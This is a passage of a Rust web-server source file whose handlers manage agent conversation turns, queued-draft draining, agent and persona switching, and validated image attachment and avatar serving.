7057    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7058        return Err(ApiError::conflict(
7059            "a talk turn is already running; the queued draft will be handled by it",
7060        ));
7061    };
7062    let (talk, cfg) = {
7063        let ui = Arc::clone(&ui);
7064        let id = id.clone();
7065        blocking(move || {
7066            let talk = ui.talks.get(&id)?;
7067            if !talk.status.open() {
7068                return Err(ApiError::conflict(format!(
7069                    "talk {} is {} and takes no more turns",
7070                    talk.short(),
7071                    talk.status.as_str()
7072                )));
7073            }
7074            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7075                return Err(ApiError::conflict("there is no queued draft to resume"));
7076            }
7077            let (cfg, _) = Config::discover(&talk.repo, None)?;
7078            Ok((talk, cfg))
7079        })
7080        .await?
7081    };
7082    let view = TalkView::new(talk.clone(), true);
7083    let talks = ui.talks.clone();
7084    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7085    Ok((StatusCode::ACCEPTED, Json(view)))
7086}
7087
7088/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
7089/// releasing `turn` only once a check finds it truly empty. Shared by both
7090/// callers that can end up owning a talk's turn slot with something already
7091/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
7092/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
7093/// holder just gave up - see the comment at that call site.
7094///
7095/// The release is folded into the final generation check under `turn`'s own
7096/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
7097/// free". Before its blocking `talk::drain`, this loop observes the queued
7098/// generation. A `say` that sees the turn busy writes its draft, then advances
7099/// that generation. Thus, if it lands while the drain is in flight, the final
7100/// check observes the advance and drains again; otherwise it releases the
7101/// claim while holding the same lock. This keeps the release/arrival handoff
7102/// atomic without holding the global claim mutex across filesystem I/O.
7103async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7104    drain_loop_started(talk, talks, cfg, id, turn, None).await;
7105}
7106
7107/// A settings response must not report idle while its claim is still held.
7108/// Wait until the first drain either releases the claim or promotes a draft.
7109/// The task owns the guard even if the HTTP handler is cancelled while waiting.
7110async fn settle_settings_turn(
7111    talk: Talk,
7112    talks: Talks,
7113    cfg: Config,
7114    id: String,
7115    turn: TalkTurnGuard,
7116    observed: u64,
7117) -> bool {
7118    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7119        let turns = Arc::clone(&turn.turns);
7120        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7121        if live.queued.get(&id).copied().unwrap_or(0) == observed {
7122            // Release under the arrival lock; a later `/say` takes its own claim.
7123            turn.release(&mut live);
7124            return false;
7125        }
7126    }
7127    let (started, settled) = tokio::sync::oneshot::channel();
7128    tokio::spawn(drain_loop_started(
7129        talk,
7130        talks,
7131        cfg,
7132        id,
7133        turn,
7134        Some(started),
7135    ));
7136    settled.await.unwrap_or(false)
7137}
7138
7139async fn drain_loop_started(
7140    mut talk: Talk,
7141    talks: Talks,
7142    cfg: Config,
7143    id: String,
7144    turn: TalkTurnGuard,
7145    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7146) {
7147    let live_set = Arc::clone(&turn.turns);
7148    // `Option` rather than binding `turn` directly to a `_turn` that lives
7149    // for the whole function: releasing it has to happen by calling
7150    // `TalkTurnGuard::release` from inside the locked branch below, which
7151    // takes `self` by value. Left as a plain drop instead, `Drop` would still
7152    // remove the id - correctly, if this loop is ever left some other way -
7153    // but doing it there misses the lock this loop is already holding, which
7154    // is the exact gap `release` exists to close.
7155    let mut turn = Some(turn);
7156    loop {
7157        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7158            // The lease was taken over while a turn ran. Whatever is queued
7159            // stays a draft; running it here would race the new owner.
7160            tracing::warn!("talk {id} lost its turn lease; not draining further");
7161            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7162            if let Some(turn) = turn.take() {
7163                turn.release(&mut live);
7164            }
7165            break;
7166        }
7167        {
7168            // A parking upgrade starts no further turn: whatever is queued
7169            // stays a durable draft for the successor.
7170            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7171            if live.parking {
7172                if let Some(turn) = turn.take() {
7173                    turn.release(&mut live);
7174                }
7175                break;
7176            }
7177        }
7178        // `talk::drain` takes the store lock and can write/rename the talk
7179        // file. Keep the turn mutex out of that synchronous work: it protects
7180        // every talk's in-memory claim, not this talk's disk operation.
7181        let observed = live_set
7182            .lock()
7183            .unwrap_or_else(PoisonError::into_inner)
7184            .queued
7185            .get(&id)
7186            .copied()
7187            .unwrap_or(0);
7188        let drained = blocking({
7189            let talks = talks.clone();
7190            let live_set = Arc::clone(&live_set);
7191            move || {
7192                // Promoting a draft is what starts a turn, so it is decided
7193                // under the same lock a parking upgrade takes: either the
7194                // promotion lands first (and its turn is waited for) or the
7195                // draft stays queued.
7196                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7197                let result = if live.parking {
7198                    Ok(None)
7199                } else {
7200                    talk::drain(&mut talk, &talks)
7201                };
7202                drop(live);
7203                Ok((talk, result))
7204            }
7205        })
7206        .await;
7207        let (next_talk, result) = match drained {
7208            Ok(drained) => drained,
7209            Err(e) => {
7210                tracing::warn!(
7211                    status = %e.status,
7212                    message = %e.message,
7213                    "talk {id} could not start queued-text drain"
7214                );
7215                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7216                turn.take()
7217                    .expect("held for the whole loop until released here")
7218                    .release(&mut live);
7219                break;
7220            }
7221        };
7222        talk = next_talk;
7223        let drained = match result {
7224            Ok(Some(drained)) => drained,
7225            Ok(None) => {
7226                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7227                if live.queued.get(&id).copied().unwrap_or(0) != observed {
7228                    continue;
7229                }
7230                turn.take()
7231                    .expect("held for the whole loop until released here")
7232                    .release(&mut live);
7233                break;
7234            }
7235            Err(e) => {
7236                tracing::warn!("talk {id} could not drain queued text: {e:#}");
7237                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7238                turn.take()
7239                    .expect("held for the whole loop until released here")
7240                    .release(&mut live);
7241                break;
7242            }
7243        };
7244        if let Some(started) = started.take() {
7245            let _ = started.send(true);
7246        }
7247        let responded = match turn.as_ref() {
7248            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7249            None => Err(anyhow::anyhow!("the turn guard was released")),
7250        };
7251        if let Err(e) = responded {
7252            tracing::warn!("talk {id} turn failed: {e:#}");
7253        }
7254    }
7255    drop(turn);
7256    if let Some(started) = started {
7257        let _ = started.send(false);
7258    }
7259}
7260
7261/// Clear a queued draft only if it remains exactly the one the caller saw.
7262async fn talk_pending_clear(
7263    State(ui): State<Arc<Ui>>,
7264    Path(id): Path<String>,
7265    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7266) -> ApiResult<Json<TalkView>> {
7267    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7268    blocking(move || {
7269        let id = resolve_talk(&ui.talks, &id)?;
7270        let mut talk = ui.talks.get(&id)?;
7271        if !talk.status.open() {
7272            return Err(ApiError::conflict(format!(
7273                "talk {} is {} and takes no more turns",
7274                talk.short(),
7275                talk.status.as_str()
7276            )));
7277        }
7278        if !talk::clear_pending_if_matches(
7279            &mut talk,
7280            &ui.talks,
7281            &body.expected_text,
7282            &body.expected_attachments,
7283        )? {
7284            return Err(ApiError::conflict(
7285                "queued message changed; reload it before clearing",
7286            ));
7287        }
7288        let thinking = ui.is_thinking(&talk.id);
7289        Ok(Json(TalkView::new(talk, thinking)))
7290    })
7291    .await
7292}
7293
7294/// Atomically edit a queued draft's text while preserving its attachments.
7295/// The snapshot fields make a concurrent queue or drain a conflict rather
7296/// than silently discarding either message.
7297async fn talk_pending_edit(
7298    State(ui): State<Arc<Ui>>,
7299    Path(id): Path<String>,
7300    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7301) -> ApiResult<Json<TalkView>> {
7302    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7303    let (view, reclaimed) = blocking({
7304        let ui = Arc::clone(&ui);
7305        move || {
7306            let id = resolve_talk(&ui.talks, &id)?;
7307            let mut talk = ui.talks.get(&id)?;
7308            if !talk.status.open() {
7309                return Err(ApiError::conflict(format!(
7310                    "talk {} is {} and takes no more turns",
7311                    talk.short(),
7312                    talk.status.as_str()
7313                )));
7314            }
7315            if !talk::edit_pending_message(
7316                &mut talk,
7317                &ui.talks,
7318                &body.text,
7319                &body.expected_text,
7320                &body.expected_attachments,
7321                body.message,
7322            )? {
7323                return Err(ApiError::conflict(
7324                    "queued message changed; reload it before editing",
7325                ));
7326            }
7327            let claim = match ui.begin_queued_talk_turn(&id)? {
7328                Some(turn_guard) => {
7329                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7330                    Some((talk.clone(), cfg, id.clone(), turn_guard))
7331                }
7332                None => None,
7333            };
7334            let thinking = ui.is_thinking(&id);
7335            Ok((TalkView::new(talk, thinking), claim))
7336        }
7337    })
7338    .await?;
7339    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7340        let talks = ui.talks.clone();
7341        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7342    }
7343    Ok(Json(view))
7344}
7345
7346/// The 409 for a talk that takes no more turns.
7347fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7348    if talk.status.open() {
7349        return Ok(());
7350    }
7351    Err(ApiError::conflict(format!(
7352        "talk {} is {} and takes no more turns",
7353        talk.short(),
7354        talk.status.as_str()
7355    )))
7356}
7357
7358/// The body of `POST /api/talks/{id}/agent`.
7359#[derive(Debug, Deserialize)]
7360struct TalkAgent {
7361    agent: String,
7362}
7363
7364/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
7365/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
7366/// start a turn on the old session between the check and the write; one that
7367/// arrives in that window finds the talk busy and becomes a draft.
7368async fn talk_agent(
7369    State(ui): State<Arc<Ui>>,
7370    Path(id): Path<String>,
7371    Json(body): Json<TalkAgent>,
7372) -> ApiResult<Json<TalkView>> {
7373    let id = {
7374        let ui = Arc::clone(&ui);
7375        blocking(move || resolve_talk(&ui.talks, &id)).await?
7376    };
7377    let repo = {
7378        let ui = Arc::clone(&ui);
7379        let id = id.clone();
7380        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7381    };
7382    let cfg = config_for(&repo).await?;
7383    // Refuse before taking the claim; see `talk_implementers`.
7384    {
7385        let ui = Arc::clone(&ui);
7386        let id = id.clone();
7387        let cfg = cfg.clone();
7388        let wanted = body.agent.clone();
7389        blocking(move || {
7390            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7391                .map_err(ApiError::bad_request_from)?;
7392            refuse_if_closed(&ui.talks.get(&id)?)
7393        })
7394        .await?;
7395    }
7396    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7397        return Err(ApiError::conflict(
7398            "a talk turn is running; change the agent once it has answered",
7399        ));
7400    };
7401    let switched = {
7402        let ui = Arc::clone(&ui);
7403        let id = id.clone();
7404        let cfg = cfg.clone();
7405        blocking(move || {
7406            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7407                .map_err(ApiError::bad_request_from)?;
7408            let mut talk = ui.talks.get(&id)?;
7409            if !talk.status.open() {
7410                return Err(ApiError::conflict(format!(
7411                    "talk {} is {} and takes no more turns",
7412                    talk.short(),
7413                    talk.status.as_str()
7414                )));
7415            }
7416            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7417            Ok(talk)
7418        })
7419        .await
7420    };
7421    // A `/say` that landed while this held the claim saw the talk busy and
7422    // left a durable draft, trusting the claim's owner to drain it. So the
7423    // claim is settled whatever the outcome. Release an empty draft's claim
7424    // before replying; queued drafts continue independently of the handler.
7425    let observed = ui.queued_generation(&id);
7426    let fresh = {
7427        let ui = Arc::clone(&ui);
7428        let id = id.clone();
7429        blocking(move || Ok(ui.talks.get(&id)?)).await
7430    };
7431    let draining = match fresh {
7432        Ok(talk) => {
7433            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7434        }
7435        Err(_) => false,
7436    };
7437    let talk = switched?;
7438    Ok(Json(TalkView::new(talk, draining)))
7439}
7440
7441/// The body of `POST /api/talks/{id}/persona`.
7442#[derive(Debug, Deserialize)]
7443struct TalkPersona {
7444    persona: String,
7445}
7446
7447/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
7448/// like [`talk_agent`]: the turn guard is held for the change and always handed
7449/// to `drain_loop`, so a draft left meanwhile is not stranded.
7450async fn talk_persona(
7451    State(ui): State<Arc<Ui>>,
7452    Path(id): Path<String>,
7453    Json(body): Json<TalkPersona>,
7454) -> ApiResult<Json<TalkView>> {
7455    let id = {
7456        let ui = Arc::clone(&ui);
7457        blocking(move || resolve_talk(&ui.talks, &id)).await?
7458    };
7459    let repo = {
7460        let ui = Arc::clone(&ui);
7461        let id = id.clone();
7462        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7463    };
7464    let cfg = config_for(&repo).await?;
7465    // Refuse before taking the claim; see `talk_implementers`.
7466    {
7467        let ui = Arc::clone(&ui);
7468        let id = id.clone();
7469        let cfg = cfg.clone();
7470        let wanted = body.persona.clone();
7471        blocking(move || {
7472            if persona::find(&cfg.talk.personas, &wanted).is_none() {
7473                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7474            }
7475            refuse_if_closed(&ui.talks.get(&id)?)
7476        })
7477        .await?;
7478    }
7479    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7480        return Err(ApiError::conflict(
7481            "a talk turn is running; change the persona once it has answered",
7482        ));
7483    };
7484    let switched = {
7485        let ui = Arc::clone(&ui);
7486        let id = id.clone();
7487        let cfg = cfg.clone();
7488        blocking(move || {
7489            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7490                return Err(ApiError::bad_request(format!(
7491                    "unknown persona `{}`",
7492                    body.persona
7493                )));
7494            };
7495            let mut talk = ui.talks.get(&id)?;
7496            if !talk.status.open() {
7497                return Err(ApiError::conflict(format!(
7498                    "talk {} is {} and takes no more turns",
7499                    talk.short(),
7500                    talk.status.as_str()
7501                )));
7502            }
7503            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7504            Ok(talk)
7505        })
7506        .await
7507    };
7508    // As in `talk_agent`: settle the claim before replying, even on refusal.
7509    let observed = ui.queued_generation(&id);
7510    let fresh = {
7511        let ui = Arc::clone(&ui);
7512        let id = id.clone();
7513        blocking(move || Ok(ui.talks.get(&id)?)).await
7514    };
7515    let draining = match fresh {
7516        Ok(talk) => {
7517            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7518        }
7519        Err(_) => false,
7520    };
7521    let talk = switched?;
7522    Ok(Json(TalkView::new(talk, draining)))
7523}
7524
7525/// The body of `POST /api/talks/{id}/implementers`.
7526#[derive(Debug, Deserialize)]
7527struct TalkImplementers {
7528    implementers: u8,
7529}
7530
7531/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
7532/// like [`talk_agent`]: the turn guard is held for the change and always handed
7533/// to `drain_loop`, so a draft left meanwhile is not stranded.
7534async fn talk_implementers(
7535    State(ui): State<Arc<Ui>>,
7536    Path(id): Path<String>,
7537    Json(body): Json<TalkImplementers>,
7538) -> ApiResult<Json<TalkView>> {
7539    let id = {
7540        let ui = Arc::clone(&ui);
7541        blocking(move || resolve_talk(&ui.talks, &id)).await?
7542    };
7543    let repo = {
7544        let ui = Arc::clone(&ui);
7545        let id = id.clone();
7546        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7547    };
7548    let cfg = config_for(&repo).await?;
7549    // Refuse a request that cannot succeed before taking the claim: a claim
7550    // taken for it is handed to `drain_loop`, which holds the talk busy for a
7551    // moment, so a refusal would make the next request see "busy" instead of
7552    // its own answer. The checks after the claim stay the ones that decide.
7553    {
7554        let ui = Arc::clone(&ui);
7555        let id = id.clone();
7556        let cfg = cfg.clone();
7557        let wanted = body.implementers;
7558        blocking(move || {
7559            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7560            refuse_if_closed(&ui.talks.get(&id)?)
7561        })
7562        .await?;
7563    }
7564    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7565        return Err(ApiError::conflict(
7566            "a talk turn is running; change the implementers once it has answered",
7567        ));
7568    };
7569    let switched = {
7570        let ui = Arc::clone(&ui);
7571        let id = id.clone();
7572        let cfg = cfg.clone();
7573        blocking(move || {
7574            let chosen =
7575                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7576            let mut talk = ui.talks.get(&id)?;
7577            if !talk.status.open() {
7578                return Err(ApiError::conflict(format!(
7579                    "talk {} is {} and takes no more turns",
7580                    talk.short(),
7581                    talk.status.as_str()
7582                )));
7583            }
7584            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7585            Ok(talk)
7586        })
7587        .await
7588    };
7589    // As in `talk_agent`: settle the claim before replying, even on refusal.
7590    let observed = ui.queued_generation(&id);
7591    let fresh = {
7592        let ui = Arc::clone(&ui);
7593        let id = id.clone();
7594        blocking(move || Ok(ui.talks.get(&id)?)).await
7595    };
7596    let draining = match fresh {
7597        Ok(talk) => {
7598            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7599        }
7600        Err(_) => false,
7601    };
7602    let talk = switched?;
7603    Ok(Json(TalkView::new(talk, draining)))
7604}
7605
7606/// `POST /api/talks/{id}/close`.
7607async fn talk_close(
7608    State(ui): State<Arc<Ui>>,
7609    Path(id): Path<String>,
7610) -> ApiResult<Json<TalkView>> {
7611    blocking(move || {
7612        let id = resolve_talk(&ui.talks, &id)?;
7613        let mut talk = ui.talks.get(&id)?;
7614        talk::close(&mut talk, &ui.talks)?;
7615        let thinking = ui.is_thinking(&talk.id);
7616        Ok(Json(TalkView::new(talk, thinking)))
7617    })
7618    .await
7619}
7620
7621/// `POST /api/talks/{id}/reopen`.
7622async fn talk_reopen(
7623    State(ui): State<Arc<Ui>>,
7624    Path(id): Path<String>,
7625) -> ApiResult<Json<TalkView>> {
7626    blocking(move || {
7627        let id = resolve_talk(&ui.talks, &id)?;
7628        let mut talk = ui.talks.get(&id)?;
7629        talk::reopen(&mut talk, &ui.talks)?;
7630        let thinking = ui.is_thinking(&talk.id);
7631        Ok(Json(TalkView::new(talk, thinking)))
7632    })
7633    .await
7634}
7635
7636/// `DELETE /api/talks/{id}`.
7637///
7638/// Removes the conversation's record and artifacts outright, unlike
7639/// [`talk_close`] which keeps the record as history. A turn already in
7640/// flight is not refused here the way [`run_delete`] refuses a live run:
7641/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
7642/// under [`Talks::guard`], that the record they are about to write back is
7643/// still there, so a delete racing a turn is safe without this route having
7644/// to know a turn is running at all.
7645async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7646    blocking(move || {
7647        let id = resolve_talk(&ui.talks, &id)?;
7648        ui.talks.remove(&id)?;
7649        Ok(StatusCode::NO_CONTENT)
7650    })
7651    .await
7652}
7653
7654/// Expand an id or short id to exactly one talk id.
7655fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7656    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7657}
7658
7659/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
7660/// future `talk-say`.
7661async fn talk_attachment_post(
7662    State(ui): State<Arc<Ui>>,
7663    Path(id): Path<String>,
7664    headers: HeaderMap,
7665    body: Bytes,
7666) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7667    let mime = validate_attachment(&headers, &body)?;
7668    let name = filename_header(&headers);
7669    let data = body.to_vec();
7670    blocking(move || {
7671        let id = resolve_talk(&ui.talks, &id)?;
7672        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7673        Ok((StatusCode::CREATED, Json(att)))
7674    })
7675    .await
7676}
7677
7678/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
7679/// `<img>` tag in the transcript.
7680async fn talk_attachment_get(
7681    State(ui): State<Arc<Ui>>,
7682    Path((id, att)): Path<(String, String)>,
7683) -> ApiResult<Response> {
7684    blocking(move || {
7685        let id = resolve_talk(&ui.talks, &id)?;
7686        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7687            return Err(ApiError::not_found(format!(
7688                "talk {id} has no attachment `{att}`"
7689            )));
7690        };
7691        Ok(attachment_response(&meta.mime, data))
7692    })
7693    .await
7694}
7695
7696/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
7697/// the icon setting, so changing it changes the URL.
7698fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7699    let mut id = String::new();
7700    for b in p.id.bytes() {
7701        if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7702            id.push(char::from(b));
7703        } else {
7704            id.push_str(&format!("%{b:02X}"));
7705        }
7706    }
7707    format!(
7708        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7709        persona_icon::fingerprint(p.icon.as_deref())
7710    )
7711}
7712
7713#[derive(Debug, Default, Deserialize)]
7714struct AvatarQuery {
7715    persona: Option<String>,
7716    /// Set by the page after the first load failed: skip the `icon`.
7717    builtin: Option<String>,
7718}
7719
7720/// Served with every built-in avatar: it is an image, so nothing else may run.
7721const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7722
7723fn builtin_avatar(id: &str) -> Response {
7724    svg_avatar(persona_icon::builtin_svg(id))
7725}
7726
7727async fn operator_avatar() -> Response {
7728    svg_avatar(persona_icon::operator_svg())
7729}
7730
7731fn svg_avatar(svg: &'static str) -> Response {
7732    (
7733        [
7734            (header::CONTENT_TYPE, "image/svg+xml"),
7735            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7736            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7737            (header::CACHE_CONTROL, "no-cache"),
7738        ],
7739        svg,
7740    )
7741        .into_response()
7742}
7743
7744/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
7745/// operator's raster `icon` when it resolves and its bytes agree with its
7746/// type, the built-in SVG otherwise. Display only; every failure is a warning
7747/// and the built-in avatar, never an error response.
7748async fn talk_avatar(
7749    State(ui): State<Arc<Ui>>,
7750    Path(id): Path<String>,
7751    Query(q): Query<AvatarQuery>,
7752) -> ApiResult<Response> {
7753    blocking(move || {
7754        let id = resolve_talk(&ui.talks, &id)?;
7755        let talk = ui.talks.get(&id)?;
7756        let wanted = q
7757            .persona
7758            .as_deref()
7759            .map(str::trim)
7760            .filter(|p| !p.is_empty())
7761            .unwrap_or(&talk.persona)
7762            .to_owned();
7763        let specs = match Config::discover(&talk.repo, None) {
7764            Ok((cfg, _)) => cfg.talk.personas,
7765            Err(e) => {
7766                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7767                Vec::new()
7768            }
7769        };
7770        let Some(found) = persona::find(&specs, &wanted) else {
7771            return Ok(builtin_avatar(persona::DEFAULT_ID));
7772        };
7773        let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7774            return Ok(builtin_avatar(&found.id));
7775        };
7776        match persona_icon::load(icon) {
7777            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7778                let mut res = attachment_response(mime, bytes);
7779                res.headers_mut().insert(
7780                    header::CACHE_CONTROL,
7781                    header::HeaderValue::from_static("no-cache"),
7782                );
7783                Ok(res)
7784            }
7785            Ok((mime, _)) => {
7786                tracing::warn!(
7787                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7788                    found.id
7789                );
7790                Ok(builtin_avatar(&found.id))
7791            }
7792            Err(e) => {
7793                tracing::warn!(
7794                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7795                    found.id
7796                );
7797                Ok(builtin_avatar(&found.id))
7798            }
7799        }
7800    })
7801    .await
7802}
7803
7804/// Validate an attachment upload's declared `Content-Type` and the bytes
7805/// themselves, returning the canonical mime on success.
7806///
7807/// Two checks, both required: the header has to name one of
7808/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
7809/// simply never in the list, active content rather than a picture, the same
7810/// exclusion [`asset_content_type`]'s doc explains), and the file's own
7811/// magic number has to agree. The second is what stops a mislabeled upload -
7812/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
7813/// a declared type is a claim, not a fact, so it is never trusted alone.
7814fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7815    if data.len() > ATTACHMENT_MAX_BYTES {
7816        return Err(ApiError::bad_request(format!(
7817            "attachment is {} bytes, over the {} MiB limit",
7818            data.len(),
7819            ATTACHMENT_MAX_BYTES / (1024 * 1024)
7820        ))
7821        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7822    }
7823    if data.is_empty() {
7824        return Err(ApiError::bad_request("attachment is empty"));
7825    }
7826    let declared = declared_mime(headers)?;
7827    match sniffed_mime(data) {
7828        Some(sniffed) if sniffed == declared => Ok(declared),
7829        Some(sniffed) => Err(ApiError::bad_request(format!(
7830            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7831        ))),
7832        None => Err(ApiError::bad_request(
7833            "the file's bytes do not match any accepted image format",
7834        )),
7835    }
7836}
7837
7838/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
7839/// and nothing else - parameters like `; charset=` are stripped, but the
7840/// value itself is not otherwise interpreted.
7841fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7842    let raw = headers
7843        .get(header::CONTENT_TYPE)
7844        .and_then(|v| v.to_str().ok())
7845        .unwrap_or("")
7846        .split(';')
7847        .next()
7848        .unwrap_or("")
7849        .trim()
7850        .to_ascii_lowercase();
7851    ATTACHMENT_MIME_WHITELIST
7852        .iter()
7853        .find(|&&m| m == raw)
7854        .copied()
7855        .ok_or_else(|| {
7856            if raw == "image/svg+xml" {
7857                ApiError::bad_request(
7858                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
7859                     not just a picture",
7860                )
7861            } else if raw.is_empty() {
7862                ApiError::bad_request("Content-Type is required for an attachment upload")
7863            } else {
7864                ApiError::bad_request(format!(
7865                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7866                     image/gif or image/webp"
7867                ))
7868            }
7869        })
7870}
7871
7872/// Identify an image by its magic number, independent of whatever
7873/// `Content-Type` claimed.
7874fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7875    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7876        Some("image/png")
7877    } else if data.starts_with(b"\xff\xd8\xff") {
7878        Some("image/jpeg")
7879    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7880        Some("image/gif")
7881    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7882        Some("image/webp")
7883    } else {
7884        None
7885    }
7886}
7887
7888/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
7889/// display - see [`talk::Attachment::name`]'s doc on why it never
7890/// contributes to a path. A missing or blank header (curl without it, an
7891/// older front end) falls back to a generic name rather than refusing the
7892/// upload over a field that is cosmetic.
7893fn filename_header(headers: &HeaderMap) -> String {
7894    headers
7895        .get(FILENAME_HEADER)
7896        .and_then(|v| v.to_str().ok())
7897        .map(str::trim)
7898        .filter(|s| !s.is_empty())
7899        .unwrap_or("attachment")
7900        .to_owned()
7901}
7902
7903/// Every attachment `GET` response: the mime re-validated against the same
7904/// closed whitelist the upload route enforces - never the string trusted
7905/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
7906/// cannot decide it knows better than the type we send. Unlike a panel asset
7907/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
7908/// document renders inline, not agent-authored HTML in a sandboxed frame.
7909fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7910    let content_type = ATTACHMENT_MIME_WHITELIST
7911        .iter()
7912        .find(|&&m| m == mime)
7913        .copied()
7914        .unwrap_or("application/octet-stream");
7915    (
7916        [
7917            (header::CONTENT_TYPE, content_type),
7918            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7919        ],
7920        body,
7921    )
7922        .into_response()
7923}
7924
7925/// The configuration for a repository, read off the disk for this request.
7926///
7927/// Through [`blocking`] because discovery reads and merges several TOML files,
7928/// and because the alternative - caching it in [`Ui`] at startup - would mean
7929/// the operator's phone kept interviewing with a roster they had already
7930/// changed, with no way to reload it but restarting the server they are not
7931/// sitting in front of.
7932async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7933    let repo = repo.to_path_buf();
7934    blocking(move || {
7935        let (cfg, _) = Config::discover(&repo, None)?;
7936        Ok(cfg)
7937    })
7938    .await
7939}
7940
7941/// The one prefix rule, used for both runs and tasks: a leading match for a
7942/// full id, a trailing match for the short form an operator reads off a
7943/// report. Written here rather than borrowed from `queue::resolve_id` because
7944/// the UI needs the two failures as different status codes, and telling them
7945/// apart from an error message is not something to build a route on.
7946fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7947    let mut hits = ids
7948        .into_iter()
7949        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7950    match (hits.next(), hits.next()) {
7951        (Some(one), None) => Ok(one),
7952        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7953        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7954            "`{prefix}` matches more than one {what}, including {a} and {b}"
7955        ))),
7956    }
7957}
7958
7959#[cfg(test)]
7960mod tests {
7961
7962    #[test]
